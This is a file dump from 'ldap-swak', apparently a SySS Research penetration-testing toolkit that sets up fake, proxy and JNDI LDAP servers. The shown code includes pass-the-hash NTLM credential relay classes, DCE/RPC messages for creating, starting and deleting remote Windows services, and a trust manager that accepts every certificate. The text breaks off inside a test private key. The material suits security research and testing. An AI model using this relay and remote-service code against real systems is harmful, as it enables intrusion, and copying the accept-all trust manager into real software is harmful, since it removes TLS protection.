├── src ├── test │ ├── resources │ │ ├── test.jks │ │ ├── test.p12 │ │ ├── test-add.ldif │ │ ├── test.crt │ │ ├── test.key │ │ └── test-combined.pem │ └── java │ │ └── gs │ │ └── sy │ │ └── m8 │ │ └── ldapswak │ │ ├── BaseServerTest.java │ │ ├── ServerThread.java │ │ ├── ProxyServerTest.java │ │ ├── SSLContextProviderTest.java │ │ ├── FakeServerTest.java │ │ └── JNDIServerTest.java └── main │ ├── java │ └── gs │ │ └── sy │ │ └── m8 │ │ └── ldapswak │ │ ├── KeyStoreType.java │ │ ├── CommandRunnable.java │ │ ├── SigAlg.java │ │ ├── LDAPModule.java │ │ ├── MainCommand.java │ │ ├── ProxyInterceptor.java │ │ ├── TLSProtocol.java │ │ ├── GuiceFactory.java │ │ ├── AccessLog.java │ │ ├── svcctl │ │ ├── SCMRDeleteService.java │ │ ├── SCMRCloseServiceHandle.java │ │ ├── SCMROpenServiceW.java │ │ ├── SCMRStartService.java │ │ ├── SCMROpenSCManagerW.java │ │ └── SCMRCreateServiceW.java │ │ ├── Version.java │ │ ├── AllowAllTrustManager.java │ │ ├── LDIFLoggingOperationInterceptor.java │ │ ├── PassTheHashNtlmCredentials.java │ │ ├── JNDIServer.java │ │ ├── Main.java │ │ ├── FakeServer.java │ │ ├── ServerSocketFactoryWrapper.java │ │ ├── PassTheHashNTLMSASLBindHandler.java │ │ ├── JNDIOperationInterceptor.java │ │ ├── CredentialsOperationInterceptor.java │ │ ├── PassTheHashNtlmContext.java │ │ ├── ProxyServer.java │ │ ├── SSLContextProvider.java │ │ ├── BaseCommand.java │ │ └── PassTheHashRunner.java │ └── resources │ └── logback.xml ├── doc └── paper │ └── LDAP_Swiss_Army_Knife.pdf ├── .project ├── LICENSE ├── .classpath ├── .gitignore ├── pom.xml └── README.MD /src/test/resources/test.jks: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SySS-Research/ldap-swak/HEAD/src/test/resources/test.jks -------------------------------------------------------------------------------- /src/test/resources/test.p12: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SySS-Research/ldap-swak/HEAD/src/test/resources/test.p12 -------------------------------------------------------------------------------- /doc/paper/LDAP_Swiss_Army_Knife.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SySS-Research/ldap-swak/HEAD/doc/paper/LDAP_Swiss_Army_Knife.pdf -------------------------------------------------------------------------------- /src/main/java/gs/sy/m8/ldapswak/KeyStoreType.java: -------------------------------------------------------------------------------- 1 | package gs.sy.m8.ldapswak; 2 | 3 | public enum KeyStoreType { 4 | JKS, 5 | PKCS12 6 | } 7 | -------------------------------------------------------------------------------- /src/main/java/gs/sy/m8/ldapswak/CommandRunnable.java: -------------------------------------------------------------------------------- 1 | package gs.sy.m8.ldapswak; 2 | 3 | public interface CommandRunnable { 4 | 5 | void run() throws Exception; 6 | 7 | } 8 | -------------------------------------------------------------------------------- /src/main/java/gs/sy/m8/ldapswak/SigAlg.java: -------------------------------------------------------------------------------- 1 | package gs.sy.m8.ldapswak; 2 | 3 | public enum SigAlg { 4 | SHA512withRSA, 5 | SHA256withRSA, 6 | SHA1withRSA, 7 | MD5withRSA 8 | } 9 | -------------------------------------------------------------------------------- /src/test/resources/test-add.ldif: -------------------------------------------------------------------------------- 1 | dn: dc=test 2 | objectClass: top 3 | objectClass: dcObject 4 | dc: test 5 | 6 | dn: cn=foo,dc=test 7 | objectClass: person 8 | objectClass: top 9 | cn: foo 10 | sn: Test 11 | -------------------------------------------------------------------------------- /src/main/java/gs/sy/m8/ldapswak/LDAPModule.java: -------------------------------------------------------------------------------- 1 | package gs.sy.m8.ldapswak; 2 | 3 | import com.google.inject.Binder; 4 | import com.google.inject.Module; 5 | 6 | public class LDAPModule implements Module { 7 | 8 | 9 | 10 | @Override 11 | public void configure(Binder bind) { 12 | 13 | } 14 | 15 | } 16 | -------------------------------------------------------------------------------- /src/main/java/gs/sy/m8/ldapswak/MainCommand.java: -------------------------------------------------------------------------------- 1 | package gs.sy.m8.ldapswak; 2 | 3 | import picocli.CommandLine.Command; 4 | 5 | @Command(description = "LDAP Swiss Army Knife", 6 | versionProvider = Version.class, 7 | subcommands = { FakeServer.class, ProxyServer.class, JNDIServer.class } ) 8 | public class MainCommand extends BaseCommand { 9 | 10 | } 11 | -------------------------------------------------------------------------------- /src/main/java/gs/sy/m8/ldapswak/ProxyInterceptor.java: -------------------------------------------------------------------------------- 1 | package gs.sy.m8.ldapswak; 2 | 3 | import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; 4 | 5 | public class ProxyInterceptor extends InMemoryOperationInterceptor { 6 | 7 | public ProxyInterceptor(ProxyServer proxyServer) { 8 | // TODO Auto-generated constructor stub 9 | } 10 | 11 | 12 | 13 | } 14 | -------------------------------------------------------------------------------- /src/main/java/gs/sy/m8/ldapswak/TLSProtocol.java: -------------------------------------------------------------------------------- 1 | package gs.sy.m8.ldapswak; 2 | 3 | public enum TLSProtocol { 4 | TLS12("TLSv1.2"), 5 | TLS11("TLSv1.1"), 6 | TLS10("TLSv1"), 7 | SSLv3("SSLv3"), 8 | SSLv2("SSLv2"); 9 | 10 | private String protoId; 11 | 12 | private TLSProtocol(String name) { 13 | protoId = name; 14 | } 15 | 16 | public String getProtoId() { 17 | return protoId; 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /src/main/java/gs/sy/m8/ldapswak/GuiceFactory.java: -------------------------------------------------------------------------------- 1 | package gs.sy.m8.ldapswak; 2 | 3 | import com.google.inject.Injector; 4 | 5 | import picocli.CommandLine.IFactory; 6 | 7 | public class GuiceFactory implements IFactory { 8 | 9 | private final Injector injector; 10 | 11 | public GuiceFactory(Injector injector) { 12 | this.injector = injector; 13 | } 14 | 15 | @Override 16 | public K create(Class type) throws Exception { 17 | return injector.getInstance(type); 18 | } 19 | 20 | } 21 | -------------------------------------------------------------------------------- /src/main/resources/logback.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | %d{HH:mm:ss.SSS} %-1level %logger{0} - %msg%n 5 | 6 | 7 | 8 | 9 | %msg%n 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /.project: -------------------------------------------------------------------------------- 1 | 2 | 3 | ldap-swak 4 | 5 | 6 | 7 | 8 | 9 | org.eclipse.jdt.core.javabuilder 10 | 11 | 12 | 13 | 14 | org.eclipse.m2e.core.maven2Builder 15 | 16 | 17 | 18 | 19 | 20 | org.eclipse.jdt.core.javanature 21 | org.eclipse.m2e.core.maven2Nature 22 | 23 | 24 | -------------------------------------------------------------------------------- /src/main/java/gs/sy/m8/ldapswak/AccessLog.java: -------------------------------------------------------------------------------- 1 | package gs.sy.m8.ldapswak; 2 | 3 | import java.util.logging.Handler; 4 | import java.util.logging.LogRecord; 5 | 6 | import org.slf4j.Logger; 7 | import org.slf4j.LoggerFactory; 8 | 9 | public class AccessLog extends Handler { 10 | 11 | private static final Logger log = LoggerFactory.getLogger("access"); 12 | 13 | @Override 14 | public void publish(LogRecord record) { 15 | log.info(record.getMessage(),record.getThrown()); 16 | } 17 | 18 | @Override 19 | public void flush() { 20 | } 21 | 22 | @Override 23 | public void close() throws SecurityException { 24 | } 25 | 26 | } 27 | -------------------------------------------------------------------------------- /src/main/java/gs/sy/m8/ldapswak/svcctl/SCMRDeleteService.java: -------------------------------------------------------------------------------- 1 | package gs.sy.m8.ldapswak.svcctl; 2 | 3 | import jcifs.dcerpc.DcerpcMessage; 4 | import jcifs.dcerpc.ndr.NdrBuffer; 5 | import jcifs.dcerpc.ndr.NdrException; 6 | 7 | public class SCMRDeleteService extends DcerpcMessage { 8 | 9 | private byte[] handle; 10 | public int retval; 11 | 12 | public SCMRDeleteService(byte[] handle) { 13 | this.handle = handle; 14 | this.ptype = 0; 15 | this.flags = DCERPC_FIRST_FRAG | DCERPC_LAST_FRAG; 16 | } 17 | 18 | @Override 19 | public int getOpnum() { 20 | return 2; 21 | } 22 | 23 | @Override 24 | public void encode_in(NdrBuffer buf) throws NdrException { 25 | buf.writeOctetArray(this.handle, 0, this.handle.length); 26 | } 27 | 28 | @Override 29 | public void decode_out(NdrBuffer buf) throws NdrException { 30 | this.retval = buf.dec_ndr_long(); 31 | } 32 | 33 | } 34 | -------------------------------------------------------------------------------- /src/main/java/gs/sy/m8/ldapswak/svcctl/SCMRCloseServiceHandle.java: -------------------------------------------------------------------------------- 1 | package gs.sy.m8.ldapswak.svcctl; 2 | 3 | import jcifs.dcerpc.DcerpcMessage; 4 | import jcifs.dcerpc.ndr.NdrBuffer; 5 | import jcifs.dcerpc.ndr.NdrException; 6 | 7 | public class SCMRCloseServiceHandle extends DcerpcMessage { 8 | 9 | private byte[] handle; 10 | public int retval; 11 | 12 | public SCMRCloseServiceHandle(byte[] handle) { 13 | this.handle = handle; 14 | this.ptype = 0; 15 | this.flags = DCERPC_FIRST_FRAG | DCERPC_LAST_FRAG; 16 | } 17 | 18 | @Override 19 | public int getOpnum() { 20 | return 0; 21 | } 22 | 23 | @Override 24 | public void encode_in(NdrBuffer buf) throws NdrException { 25 | buf.writeOctetArray(this.handle, 0, this.handle.length); 26 | } 27 | 28 | @Override 29 | public void decode_out(NdrBuffer buf) throws NdrException { 30 | this.retval = buf.dec_ndr_long(); 31 | } 32 | 33 | } 34 | -------------------------------------------------------------------------------- /src/main/java/gs/sy/m8/ldapswak/Version.java: -------------------------------------------------------------------------------- 1 | package gs.sy.m8.ldapswak; 2 | 3 | import java.io.IOException; 4 | import java.net.URL; 5 | import java.net.URLClassLoader; 6 | import java.util.jar.Manifest; 7 | 8 | import picocli.CommandLine.IVersionProvider; 9 | 10 | public class Version implements IVersionProvider { 11 | 12 | @Override 13 | public String[] getVersion() throws Exception { 14 | 15 | URLClassLoader cl = (URLClassLoader) getClass().getClassLoader(); 16 | try { 17 | URL url = cl.findResource("META-INF/MANIFEST.MF"); 18 | if (url != null) { 19 | Manifest manifest = new Manifest(url.openStream()); 20 | String ver = manifest.getMainAttributes().getValue("Version"); 21 | if ( ver != null ) { 22 | return new String[] { ver, 23 | com.unboundid.ldap.sdk.Version.FULL_VERSION_STRING }; 24 | } 25 | } 26 | } catch (IOException E) { 27 | } 28 | return new String[] { "dev", com.unboundid.ldap.sdk.Version.FULL_VERSION_STRING }; 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) SySS Research 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /src/test/resources/test.crt: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIC9DCCAdygAwIBAgIJAOUn5k4bZlaUMA0GCSqGSIb3DQEBCwUAMA8xDTALBgNV 3 | BAMMBHRlc3QwHhcNMTkwMjE0MTQ0MTU2WhcNMTkwMjE1MTQ0MTU2WjAPMQ0wCwYD 4 | VQQDDAR0ZXN0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzMnbKmC/ 5 | HK3Tv+mR7kTQ11B4LEdmgfTINuNrKE7PrnONdnb3NOMQ2GDLehU3YJPh02BXeKfQ 6 | qN/nGgLLUoGjFbdeNL3LvbWpSb3nQNvem4tAwAEFip6fAhgFuT5VR/wbsu9AEfqi 7 | mF1/Q9Gw3udNDIflhVN9y4vnHVOZBz+2ScJISTOL7S7LWAoY9C0fSbbWfAO8I7xa 8 | i3I2zDrrhAFzJ3DuvPORBh95f6O/oIFFxhWLZ+oOwC9LBvdvmSGMPZ17/MJHbmS7 9 | nWfioKptnChFYPW2jeS46ybertQOQBxINbEgLUwmpZdXuy8RoAifSE1psTc/lBTQ 10 | 7/jARX6u6DWP2QIDAQABo1MwUTAdBgNVHQ4EFgQUatkE4nnEY0t7UE3p2Bjl8Jca 11 | RtEwHwYDVR0jBBgwFoAUatkE4nnEY0t7UE3p2Bjl8JcaRtEwDwYDVR0TAQH/BAUw 12 | AwEB/zANBgkqhkiG9w0BAQsFAAOCAQEACwtlfWO9kzzzoGNnAwSPnyNSXNNyVWXC 13 | 3DpIAy7hoy1M5vn/Wwrg+25i3gagV3e6WTGmwumw+XWcLdd3BToFXtJr3PLBhJs+ 14 | CYEPwzAmiGX0Pm29bAR+4hxRBcY+wfg6aHHZbfyFflbjYghI1wubdxJG2C2fOiGZ 15 | WfLAVeCx5M5aZ2Vdg5aDTeyxLBFgVi2kdEH0Nspyunt0g882L9ZaWsfkW2QU3o2H 16 | GifHUjSpoBc+N1EqFFSBcJv7zl4x0eCcsBiWynKIS6H3PkIZHp4GHZsHJFr5vG9H 17 | BmRL4j805ayXUrU53H3K0knLJQPnF4pjYV+0RO9twDEzSMS/QDxUow== 18 | -----END CERTIFICATE----- 19 | -------------------------------------------------------------------------------- /src/main/java/gs/sy/m8/ldapswak/svcctl/SCMROpenServiceW.java: -------------------------------------------------------------------------------- 1 | package gs.sy.m8.ldapswak.svcctl; 2 | 3 | import jcifs.dcerpc.DcerpcMessage; 4 | import jcifs.dcerpc.ndr.NdrBuffer; 5 | import jcifs.dcerpc.ndr.NdrException; 6 | 7 | public class SCMROpenServiceW extends DcerpcMessage { 8 | 9 | private byte[] handle; 10 | private String serviceName; 11 | private int desiredAccess; 12 | 13 | public int retval; 14 | public byte[] serviceHandle = new byte[20]; 15 | 16 | public SCMROpenServiceW(byte[] handle, String serviceName, int desiredAccess ) { 17 | this.handle = handle; 18 | this.serviceName = serviceName; 19 | this.desiredAccess = desiredAccess; 20 | this.ptype = 0; 21 | this.flags = DCERPC_FIRST_FRAG | DCERPC_LAST_FRAG; 22 | } 23 | 24 | @Override 25 | public int getOpnum() { 26 | return 16; 27 | } 28 | 29 | @Override 30 | public void encode_in(NdrBuffer buf) throws NdrException { 31 | buf.writeOctetArray(this.handle, 0, this.handle.length); 32 | buf.enc_ndr_string(this.serviceName != null ? this.serviceName : ""); 33 | buf.enc_ndr_long(this.desiredAccess); 34 | } 35 | 36 | @Override 37 | public void decode_out(NdrBuffer buf) throws NdrException { 38 | buf.readOctetArray(this.serviceHandle, 0, 20); 39 | this.retval = buf.dec_ndr_long(); 40 | } 41 | 42 | } 43 | -------------------------------------------------------------------------------- /src/test/java/gs/sy/m8/ldapswak/BaseServerTest.java: -------------------------------------------------------------------------------- 1 | package gs.sy.m8.ldapswak; 2 | 3 | import java.net.InetAddress; 4 | import java.net.UnknownHostException; 5 | import java.util.Random; 6 | 7 | public class BaseServerTest { 8 | private static final Random RANDOM = new Random(); 9 | static final InetAddress LOCALHOST; 10 | 11 | static { 12 | InetAddress lc; 13 | try { 14 | lc = InetAddress.getLocalHost(); 15 | } catch (Exception e) { 16 | try { 17 | lc = InetAddress.getByAddress(new byte[] { 127, 0, 0, 1 }); 18 | } catch (UnknownHostException e1) { 19 | lc = null; 20 | } 21 | } 22 | 23 | LOCALHOST = lc; 24 | } 25 | 26 | 27 | FakeServer createServerBase() { 28 | FakeServer fs = new FakeServer(); 29 | basicSetup(fs); 30 | return fs; 31 | } 32 | 33 | ProxyServer createProxyBase() { 34 | ProxyServer ps = new ProxyServer(); 35 | basicSetup(ps); 36 | return ps; 37 | } 38 | 39 | void basicSetup(BaseCommand c) { 40 | c.sslContextProv = new SSLContextProvider(); 41 | c.baseDN = new String[] { "cn=test" }; 42 | c.port = RANDOM.nextInt(2 * Short.MAX_VALUE - 1023) + 1024; 43 | c.bind = LOCALHOST; 44 | c.fakeCertBitsize = 2048; 45 | c.fakeCertSigalg = SigAlg.SHA256withRSA; 46 | c.fakeCertCN = "cn=testCert"; 47 | c.keystorePass = "changeit"; 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /src/main/java/gs/sy/m8/ldapswak/svcctl/SCMRStartService.java: -------------------------------------------------------------------------------- 1 | package gs.sy.m8.ldapswak.svcctl; 2 | 3 | import jcifs.dcerpc.DcerpcMessage; 4 | import jcifs.dcerpc.ndr.NdrBuffer; 5 | import jcifs.dcerpc.ndr.NdrException; 6 | import jcifs.util.Strings; 7 | 8 | public class SCMRStartService extends DcerpcMessage { 9 | 10 | private byte[] handle; 11 | private String[] args; 12 | public int retval; 13 | 14 | public SCMRStartService(byte[] handle, String[] args) { 15 | this.handle = handle; 16 | this.ptype = 0; 17 | this.flags = DCERPC_FIRST_FRAG | DCERPC_LAST_FRAG; 18 | this.args = args != null ? args.clone() : null; 19 | } 20 | 21 | @Override 22 | public int getOpnum() { 23 | return 19; 24 | } 25 | 26 | @Override 27 | public void encode_in(NdrBuffer buf) throws NdrException { 28 | buf.writeOctetArray(this.handle, 0, this.handle.length); 29 | buf.enc_ndr_long(this.args != null ? this.args.length : 0); 30 | buf.enc_ndr_referent(null, 1); 31 | if (this.args != null) { 32 | for (String arg : this.args) { 33 | byte[] abytes = Strings.getUNIBytes(arg); 34 | buf.writeOctetArray(abytes, 0, abytes.length); 35 | buf.advance(1); 36 | } 37 | } 38 | } 39 | 40 | @Override 41 | public void decode_out(NdrBuffer buf) throws NdrException { 42 | this.retval = buf.dec_ndr_long(); 43 | } 44 | 45 | } 46 | -------------------------------------------------------------------------------- /src/main/java/gs/sy/m8/ldapswak/AllowAllTrustManager.java: -------------------------------------------------------------------------------- 1 | package gs.sy.m8.ldapswak; 2 | 3 | import javax.net.ssl.SSLEngine; 4 | import javax.net.ssl.X509ExtendedTrustManager; 5 | 6 | import java.net.Socket; 7 | import java.security.cert.CertificateException; 8 | import java.security.cert.X509Certificate; 9 | 10 | class AllowAllTrustManager extends X509ExtendedTrustManager { 11 | 12 | public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { 13 | 14 | } 15 | 16 | public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { 17 | 18 | } 19 | 20 | public X509Certificate[] getAcceptedIssuers() { 21 | return new X509Certificate[0]; 22 | } 23 | 24 | @Override 25 | public void checkClientTrusted(X509Certificate[] chain, String authType, Socket socket) 26 | throws CertificateException { 27 | 28 | } 29 | 30 | @Override 31 | public void checkServerTrusted(X509Certificate[] chain, String authType, Socket socket) 32 | throws CertificateException { 33 | 34 | } 35 | 36 | @Override 37 | public void checkClientTrusted(X509Certificate[] chain, String authType, SSLEngine engine) 38 | throws CertificateException { 39 | 40 | } 41 | 42 | @Override 43 | public void checkServerTrusted(X509Certificate[] chain, String authType, SSLEngine engine) 44 | throws CertificateException { 45 | 46 | } 47 | 48 | } -------------------------------------------------------------------------------- /src/main/java/gs/sy/m8/ldapswak/LDIFLoggingOperationInterceptor.java: -------------------------------------------------------------------------------- 1 | package gs.sy.m8.ldapswak; 2 | 3 | import org.slf4j.Logger; 4 | import org.slf4j.LoggerFactory; 5 | 6 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedAddRequest; 7 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedModifyRequest; 8 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchEntry; 9 | import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; 10 | import com.unboundid.ldap.sdk.LDAPException; 11 | 12 | final class LDIFLoggingOperationInterceptor extends InMemoryOperationInterceptor { 13 | 14 | private static final Logger log = LoggerFactory.getLogger("access"); 15 | 16 | @Override 17 | public void processSearchEntry(InMemoryInterceptedSearchEntry entry) { 18 | super.processSearchEntry(entry); 19 | log.info("Search result: {}", entry.getSearchEntry().toLDIFString()); 20 | } 21 | 22 | @Override 23 | public void processAddRequest(InMemoryInterceptedAddRequest request) throws LDAPException { 24 | log.info("Add: {}",request.getRequest().toLDIFString()); 25 | super.processAddRequest(request); 26 | } 27 | 28 | @Override 29 | public void processModifyRequest(InMemoryInterceptedModifyRequest request) throws LDAPException { 30 | log.info("Modify: {}",request.getRequest().toLDIFString()); 31 | super.processModifyRequest(request); 32 | } 33 | } -------------------------------------------------------------------------------- /src/test/java/gs/sy/m8/ldapswak/ServerThread.java: -------------------------------------------------------------------------------- 1 | package gs.sy.m8.ldapswak; 2 | 3 | import java.io.Closeable; 4 | import java.io.IOException; 5 | 6 | public class ServerThread extends Thread { 7 | 8 | 9 | final T command; 10 | private volatile boolean started; 11 | private volatile boolean stopped; 12 | 13 | public ServerThread(T r) { 14 | command = r; 15 | } 16 | 17 | @Override 18 | public void run() { 19 | 20 | try { 21 | command.run(); 22 | this.started = true; 23 | synchronized (this) { 24 | notifyAll(); 25 | } 26 | 27 | while ( true ) { 28 | Thread.sleep(1000); 29 | } 30 | } catch ( InterruptedException e ) { 31 | return; 32 | } catch ( Exception e ) { 33 | e.printStackTrace(); 34 | } finally { 35 | try { 36 | command.close(); 37 | } catch (IOException e) { 38 | e.printStackTrace(); 39 | } 40 | } 41 | this.stopped = true; 42 | synchronized (this) { 43 | notifyAll(); 44 | } 45 | } 46 | 47 | 48 | public void waitStart() { 49 | start(); 50 | while ( !started && !stopped ) { 51 | synchronized (this) { 52 | try { 53 | wait(1000); 54 | } catch (InterruptedException e) { 55 | } 56 | } 57 | 58 | } 59 | } 60 | 61 | public void shutdown() { 62 | try { 63 | interrupt(); 64 | join(1000); 65 | } catch ( Exception e ) {} 66 | } 67 | 68 | } 69 | -------------------------------------------------------------------------------- /src/main/java/gs/sy/m8/ldapswak/svcctl/SCMROpenSCManagerW.java: -------------------------------------------------------------------------------- 1 | package gs.sy.m8.ldapswak.svcctl; 2 | 3 | import jcifs.dcerpc.DcerpcMessage; 4 | import jcifs.dcerpc.ndr.NdrBuffer; 5 | import jcifs.dcerpc.ndr.NdrException; 6 | 7 | public class SCMROpenSCManagerW extends DcerpcMessage { 8 | 9 | private String server; 10 | private String dbName; 11 | private int desiredAccess; 12 | 13 | 14 | public int retval; 15 | public byte[] handle = new byte[20]; 16 | 17 | 18 | 19 | public SCMROpenSCManagerW(String server, String dbName, int desiredAccess) { 20 | this.server = server; 21 | this.dbName = dbName; 22 | this.desiredAccess = desiredAccess; 23 | this.ptype = 0; 24 | this.flags = DCERPC_FIRST_FRAG | DCERPC_LAST_FRAG; 25 | } 26 | 27 | @Override 28 | public int getOpnum() { 29 | return 15; 30 | } 31 | 32 | @Override 33 | public void encode_in(NdrBuffer buf) throws NdrException { 34 | buf.enc_ndr_referent(this.server, 1); 35 | if ( this.server!= null ) { 36 | buf.enc_ndr_string(this.server); 37 | 38 | } 39 | buf.enc_ndr_referent(this.dbName, 1); 40 | if ( this.dbName!= null ) { 41 | buf.enc_ndr_string(this.dbName); 42 | 43 | } 44 | buf.enc_ndr_long(this.desiredAccess); 45 | } 46 | 47 | @Override 48 | public void decode_out(NdrBuffer buf) throws NdrException { 49 | buf.readOctetArray(this.handle, 0, 20); 50 | this.retval = buf.dec_ndr_long(); 51 | } 52 | 53 | } 54 | -------------------------------------------------------------------------------- /src/main/java/gs/sy/m8/ldapswak/PassTheHashNtlmCredentials.java: -------------------------------------------------------------------------------- 1 | package gs.sy.m8.ldapswak; 2 | 3 | 4 | import jcifs.CIFSContext; 5 | import jcifs.smb.NtlmPasswordAuthenticator; 6 | import jcifs.smb.SSPContext; 7 | import jcifs.smb.SmbException; 8 | 9 | final class PassTheHashNtlmCredentials extends NtlmPasswordAuthenticator { 10 | private static final long serialVersionUID = 1L; 11 | 12 | private final byte[] initialToken; 13 | 14 | private final PassTheHashNtlmContext context; 15 | 16 | public PassTheHashNtlmCredentials(byte[] d) { 17 | this.initialToken = d; 18 | this.context = new PassTheHashNtlmContext(this.initialToken); 19 | } 20 | 21 | private PassTheHashNtlmCredentials(byte[] d, PassTheHashNtlmContext ctx) { 22 | this.initialToken = d; 23 | this.context = ctx; 24 | } 25 | 26 | public PassTheHashNtlmContext getContext() { 27 | return context; 28 | } 29 | 30 | @Override 31 | public boolean isAnonymous() { 32 | return false; 33 | } 34 | 35 | @Override 36 | public boolean isGuest() { 37 | return false; 38 | } 39 | 40 | @Override 41 | public String getUsername() { 42 | return context.getUsername(); 43 | } 44 | 45 | @Override 46 | public NtlmPasswordAuthenticator clone() { 47 | return new PassTheHashNtlmCredentials(initialToken, context); 48 | } 49 | 50 | @Override 51 | public SSPContext createContext(CIFSContext tc, String targetDomain, String host, 52 | byte[] initialToken, boolean doSigning) throws SmbException { 53 | return this.context; 54 | } 55 | } -------------------------------------------------------------------------------- /.classpath: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | target/ 2 | pom.xml.tag 3 | pom.xml.releaseBackup 4 | pom.xml.versionsBackup 5 | pom.xml.next 6 | release.properties 7 | dependency-reduced-pom.xml 8 | buildNumber.properties 9 | .mvn/timing.properties 10 | .mvn/wrapper/maven-wrapper.jar 11 | 12 | # Compiled class file 13 | *.class 14 | 15 | # Log file 16 | *.log 17 | 18 | # BlueJ files 19 | *.ctxt 20 | 21 | # Mobile Tools for Java (J2ME) 22 | .mtj.tmp/ 23 | 24 | # Package Files # 25 | *.jar 26 | *.war 27 | *.nar 28 | *.ear 29 | *.zip 30 | *.tar.gz 31 | *.rar 32 | 33 | # virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml 34 | hs_err_pid* 35 | 36 | .metadata 37 | bin/ 38 | tmp/ 39 | *.tmp 40 | *.bak 41 | *.swp 42 | *~.nib 43 | local.properties 44 | .settings/ 45 | .loadpath 46 | .recommenders 47 | 48 | # External tool builders 49 | .externalToolBuilders/ 50 | 51 | # Locally stored "Eclipse launch configurations" 52 | *.launch 53 | 54 | # PyDev specific (Python IDE for Eclipse) 55 | *.pydevproject 56 | 57 | # CDT-specific (C/C++ Development Tooling) 58 | .cproject 59 | 60 | # CDT- autotools 61 | .autotools 62 | 63 | # Java annotation processor (APT) 64 | .factorypath 65 | 66 | # PDT-specific (PHP Development Tools) 67 | .buildpath 68 | 69 | # sbteclipse plugin 70 | .target 71 | 72 | # Tern plugin 73 | .tern-project 74 | 75 | # TeXlipse plugin 76 | .texlipse 77 | 78 | # STS (Spring Tool Suite) 79 | .springBeans 80 | 81 | # Code Recommenders 82 | .recommenders/ 83 | 84 | # Annotation Processing 85 | .apt_generated/ 86 | 87 | # Scala IDE specific (Scala & Java development for Eclipse) 88 | .cache-main 89 | .scala_dependencies 90 | .worksheet 91 | -------------------------------------------------------------------------------- /src/test/resources/test.key: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | MIIEpQIBAAKCAQEAzMnbKmC/HK3Tv+mR7kTQ11B4LEdmgfTINuNrKE7PrnONdnb3 3 | NOMQ2GDLehU3YJPh02BXeKfQqN/nGgLLUoGjFbdeNL3LvbWpSb3nQNvem4tAwAEF 4 | ip6fAhgFuT5VR/wbsu9AEfqimF1/Q9Gw3udNDIflhVN9y4vnHVOZBz+2ScJISTOL 5 | 7S7LWAoY9C0fSbbWfAO8I7xai3I2zDrrhAFzJ3DuvPORBh95f6O/oIFFxhWLZ+oO 6 | wC9LBvdvmSGMPZ17/MJHbmS7nWfioKptnChFYPW2jeS46ybertQOQBxINbEgLUwm 7 | pZdXuy8RoAifSE1psTc/lBTQ7/jARX6u6DWP2QIDAQABAoIBAQCj1DR2EZGyUsmc 8 | tTGeiQT9y41n9vLlsjrd1k+qnmn86MpZ5FBdye12/PCrSP/VTlkR7ffsOWxvPTg3 9 | kdawua8LN3ew/8lXilXU/YxcUckjbGKvd+HEBKO2XBtwF5LIFMLgAhCikXy0IdAn 10 | JEC4AhiclrciUynGxbRtvKwmpWyiUc/HpY4ubwS3RxVJ48K6rHdKa36eenTWL1S3 11 | v3Bx6yaaY7SyL2ne2U8kyKoDoV9LWKI4QXwmPKV3gM9+Tek3AnXqey9vxq3qJexY 12 | AOCOgjlPhkJu1SNuPAWjxAdk7dCHi8BFqnMxffCPrtcGT5nv996EWdH9FjWgdovf 13 | ADSZpbtVAoGBAPxYNUCtVY4PGfI7dHhkBAAfIASM9TRUhBJmBLYMcLnEEh2JCU3/ 14 | wLH0tC9iLeZBmprmfRxG/QNpIcyz3NRPFCV7wpZukmudeDQmMUK7QWBZr+l3iwvV 15 | sD4186Xf1g52vddL5qSOO5kVQAE45P5Sv9MI0Q9qNStPJ4t+Mig0tXvbAoGBAM/B 16 | SqvjxJReO6GwopklK0gKK9D4SXWxjRAdohVe5kDnEA1sPhHflxe/PcCraQiXKsLg 17 | W7k72ZhS0ZznYXYBMzmuWYVDqZntFGcT4n3TVq6lI+8sc7C6vmZPMtzYdpjgKCbO 18 | 